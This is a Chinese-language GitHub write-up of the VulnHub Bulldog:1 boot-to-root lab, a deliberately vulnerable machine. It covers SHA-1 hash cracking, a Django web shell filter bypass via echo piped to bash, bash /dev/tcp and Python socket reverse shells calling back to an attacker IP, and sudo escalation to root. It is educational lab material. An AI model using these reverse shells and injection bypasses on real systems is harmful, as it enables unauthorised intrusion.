MoriartyPuth-Labs/Bulldog1-Lab
GitHub: MoriartyPuth-Labs/Bulldog1-Lab
一份针对 VulnHub Bulldog:1 靶机的完整渗透测试解题报告,详细演示了从哈希破解、命令注入到权限提升的全流程攻击链。
Stars: 0 | Forks: 0
# 🐶 VulnHub Bulldog: 1 靶机
     
## 📖 简介
这是我个人针对 VulnHub 上 **[Bulldog: 1](https://www.vulnhub.com/entry/bulldog-1,211/)** 靶机的解题报告——这是一个 Boot-to-Root 挑战,以一家名为 Bulldog Industries 的虚构公司为主题,其网站此前曾被“German Shepherd Hack Team”篡改。
该靶机运行着一个 **Django Web 应用程序** (Python 2.7.12),其 HTML 源码中泄露了 SHA-1 密码哈希。接下来的渗透路径蜿蜒穿过哈希破解、经过身份验证的 WebShell 访问、通过 `echo` 管道绕过命令注入过滤、`nc` 反向 shell、用于获取隐藏密码的二进制文件字符串分析,最后通过 `sudo su -` 提权至 root。
| 字段 | 详情 |
|---|---|
| 🖥️ 靶机 | Bulldog: 1 |
| 👤 作者 | Nick Frichette (`@frichette_n`) |
| ⚡ 难度 | 初级 / 中级 |
| 📦 格式 | VirtualBox OVA |
| 🐧 操作系统 | Ubuntu Linux |
| 🌐 Web 服务器 | Django / WSGIServer 0.1 / Python 2.7.12 |
| 🎯 目标 | 以 root 身份读取 `/root/congrats.txt` |
| 🔗 靶机页面 | https://www.vulnhub.com/entry/bulldog-1,211/ |
## 🗺️ 攻击链
```
[Host Discovery] → [Port Scan] → [dirb Directory Scan]
→ [/dev/ Source Leak] → [SHA-1 Hash Crack] → [Django Login]
→ [WebShell Access] → [Filter Bypass] → [nc Reverse Shell]
→ [Hidden Binary] → [strings Password] → [sudo su → ROOT 🏆]
```
## 🛠️ 方法论
### 1️⃣ 主机发现
使用了三种方法在本地子网中定位目标。
```
# 方法 1 — ARP 扫描
arp-scan -l
# → 192.168.44.153
# 方法 2 — Nmap ping 扫描
nmap -sP 192.168.44.0/24
# 方法 3 — Netdiscover
netdiscover -r 192.168.44.0/24 -i eth0
```
### 2️⃣ 端口扫描
```
nmap -sS -T4 -A -p- 192.168.44.153
```
| 端口 | 服务 | 备注 |
|------|---------|-------|
| 23 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 |
| 80 | HTTP | Django — `WSGIServer/0.1 Python/2.7.12` |
| 8080 | HTTP | Django — 相同技术栈 |
使用 `nc` 进行快速 Banner 探测,确认了每个端口的服务行为:
```
nc -nv 192.168.44.153 23
nc -nv 192.168.44.153 80
nc -nv 192.168.44.153 8080
```
### 3️⃣ 目录枚举
```
dirb http://192.168.44.153
```
**发现的关键目录:**
| 路径 | 描述 |
|------|-------------|
| `/admin/` | Django 管理后台登录 |
| `/dev/` | 开发人员笔记页面——**金矿** |
| `/dev/shell/` | 受限的 WebShell(需要认证) |
| `/admin/login/` | 登录端点 |
| `/admin/auth/` | 认证管理 |
### 4️⃣ 源码分析与哈希发现
浏览 `http://192.168.44.153/dev/` 时显示了一个开发者通知页面,解释该网站已迁移到 Django 并启用了 SSH。最关键的是,**查看页面源码时暴露了留在 HTML 注释中的 7 个员工邮箱与 SHA-1 哈希对**:
```
alan@bulldogindustries.com — 6515229daf8dbdc8b89fed2e60f107433da5f2cb
william@bulldogindustries.com — 38882f3b81f8f2bc47d9f3119155b05f954892fb
malik@bulldogindustries.com — c6f7e34d5d08ba4a40dd5627508ccb55b425e279
kevin@bulldogindustries.com — 0e6ae9fe8af1cd4192865ac97ebf6bda414218a9
ashley@bulldogindustries.com — 553d917a396414ab99785694afd51df3a8a8a3e0
nick@bulldogindustries.com — ddf45997a7e18a25ad5f5cf222da64814dd060d5
sarah@bulldogindustries.com — d8b8dd5e7f000b8dea26ef8428caf38c04466b3e
```
### 5️⃣ SHA-1 哈希破解
#### 方法 A — 在线查询
将每个哈希提交到 [cmd5.com](https://cmd5.com) 和 [somd5.com](https://www.somd5.com)。其中两个成功破解:
| 用户 | 哈希 | 明文 |
|------|------|-----------|
| `nick@bulldogindustries.com` | `ddf459...` | **`bulldog`** |
| `sarah@bulldogindustries.com` | `d8b8dd...` | **`bulldoglover`** |
#### 方法 B — hash-identifier + John the Ripper
```
# 识别算法
hash-identifier
# → SHA-1
# 使用 John 破解
john --format=raw-sha1 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```
### 6️⃣ Django 管理后台登录
使用完整的电子邮件地址作为用户名登录失败。使用简短用户名则登录成功:
```
Username: nick Password: bulldog → Logged in (limited perms)
Username: sarah Password: bulldoglover → Logged in (limited perms)
```
### 7️⃣ WebShell 访问与命令注入
在通过身份验证的会话中访问 `http://192.168.44.153/dev/shell/` 时,展现了一个受限的 WebShell。仅 6 个命令被列入白名单:
```
ifconfig ls echo pwd cat rm
```
直接执行 `whoami` 或 `bash` 会返回:`INVALID COMMAND. I CAUGHT YOU HACKER!`
#### 通过 `echo` + 管道绕过过滤
`echo` 命令是被允许的——这足以包装任何有效载荷并将其通过管道传递给 bash:
```
# 确认绕过有效
echo whoami|sh
# → django
# 使用 && 链接允许的命令
ifconfig&&ls
ifconfig & whoami
```
### 8️⃣ Netcat 反向 Shell
**在 Kali(攻击机)上:**
```
nc -lvp 4444
```
**在 WebShell(目标机)中:**
```
# 直接的 bash 反向 shell — 被过滤器拦截
bash -i >& /dev/tcp/192.168.44.138/4444 0>&1
# 绕过:包装在 echo 中并通过管道传递给 bash
echo "bash -i >& /dev/tcp/192.168.44.138/4444 0>&1" | bash
# 或者与白名单命令链接
ls &&echo "bash -i >& /dev/tcp/192.168.44.138/4444 0>&1" | bash
```
#### 替代方案:Python Socket 反向 Shell
```
# 在 Kali 上 — 提供脚本服务
python -m SimpleHTTPServer 80
# 在 WebShell 中 — 下载并触发
pwd&wget http://192.168.44.138/bulldog-webshell.py
```
```
# bulldog-webshell.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.44.138", 4444)) # Kali IP / nc listener port
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
```
```
# 升级到交互式 TTY
python -c 'import pty;pty.spawn("/bin/bash")'
```
### 9️⃣ 后渗透——隐藏的二进制文件与密码提取
获取了 `django` 用户的 shell 后,在探索主目录时发现了一个有趣的用户:
```
cd /home
ls
# → bulldogadmin django
cd bulldogadmin
ls -al
# → .hiddenadmindirectory (隐藏!)
cd .hiddenadmindirectory
ls -al
# → customPermissionApp note
```
`customPermissionApp` 是一个编译好的 ELF 二进制文件,没有执行权限。与其运行它,不如提取它的字符串:
```
strings customPermissionApp
```
输出结果包含四个片段,每个片段都用尾部的一个 `H` 进行填充(这是栈内存的残留数据——并非密码的一部分):
```
SUPERultH
imatePASH
SWORDyouH
CANTget
```
### 🔟 权限提升 → Root
```
# 首先将 shell 升级为完整 TTY(su 需要)
python -c 'import pty; pty.spawn("/bin/bash")'
# 提权到 root
sudo su -
# [sudo] password for django: SUPERultimatePASSWORDyouCANTget
whoami
# → root
ls /root
# → congrats.txt
cat /root/congrats.txt
# → 恭喜你完成了这个虚拟机!...
```
## 🏆 Flag
     
```
___ ___ _ __ __ _ _ __ __ _| |_ ___
/ __/ _ \| '_ \ / _` | '__/ _` | __/ __|
| (_| (_) | | | | (_| | | | (_| | |_\__ \
\___\___/|_| |_|\__, |_| \__,_|\__|___/
|___/
Congratulations on completing this VM! :D
That wasn't so bad was it?
— Nick Frichette (@frichette_n)
```
## 📊 攻击总结
| 阶段 | 技术 | 结果 |
|---|---|---|
| 🔍 侦察 | arp-scan / nmap / dirb | 目标 IP + 开放端口 + 关键目录 |
| 📄 源码分析 | 浏览器 DevTools 查看 `/dev/` | 泄露 7 个 SHA-1 哈希 |
| 🔓 哈希破解 | 在线查询 + John | `bulldog` / `bulldoglover` |
| 🖥️ 认证 | Django 管理后台登录 | 解锁 WebShell |
| 💉 注入 | `echo` 管道绕过 | 绕过命令过滤 |
| 🐚 Shell | `nc -lvp 4444` + bash 重定向 | 获取 `django` 用户的反向 shell |
| 🔎 枚举 | `ls -al` + `strings` | 发现隐藏二进制文件 → 获取 root 密码 |
| ⬆️ 提权 | `python pty` + `sudo su -` | 获取 root shell |
| 🏆 Flag | `cat /root/congrats.txt` | **Rooted!** |
## 🧰 使用的工具
| 工具 | 用途 |
|---|---|
| `arp-scan` / `netdiscover` | 主机发现 |
| `nmap` | 端口扫描与服务指纹识别 |
| `nc` (netcat) | 端口探测与反向 shell 监听器 |
| `dirb` | 目录暴力破解 |
| `hash-identifier` | 识别哈希算法 (SHA-1) |
| `john` | 离线哈希破解 |
| `cmd5.com` / `somd5.com` | 在线 SHA-1 查询 |
| `strings` | 从二进制文件中提取可读字符串 |
| `python pty` | 交互式 TTY 升级 |
## 📚 参考资料
- [VulnHub 靶机页面](https://www.vulnhub.com/entry/bulldog-1,211/)
- [靶机作者 — Nick Frichette](https://frichetten.com)
## ⚠️ 免责声明
## 🏷️ 标签
`ctf` `vulnhub` `boot-to-root` `django` `command-injection` `webshell` `sha1-cracking` `netcat` `reverse-shell` `privilege-escalation` `strings` `python` `kali-linux` `beginner` `intermediate` `writeup` `linux`标签:Boot-to-Root, CISA项目, CSV导出, CTF Writeup, CTI, Django, IP 地址批量处理, NC反弹Shell, OPA, Python, SHA-1, SUID, VulnHub, WebShell, Writeup, 信息泄露, 协议分析, 反取证, 反弹Shell, 命令注入, 大数据, 安全评估, 提权, 插件系统, 数据泄露, 数据统计, 无后门, 权限提升, 源码审计, 漏洞复现, 目录扫描, 端口扫描, 系统运维工具, 网络安全, 逆向工具, 隐私保护, 靶场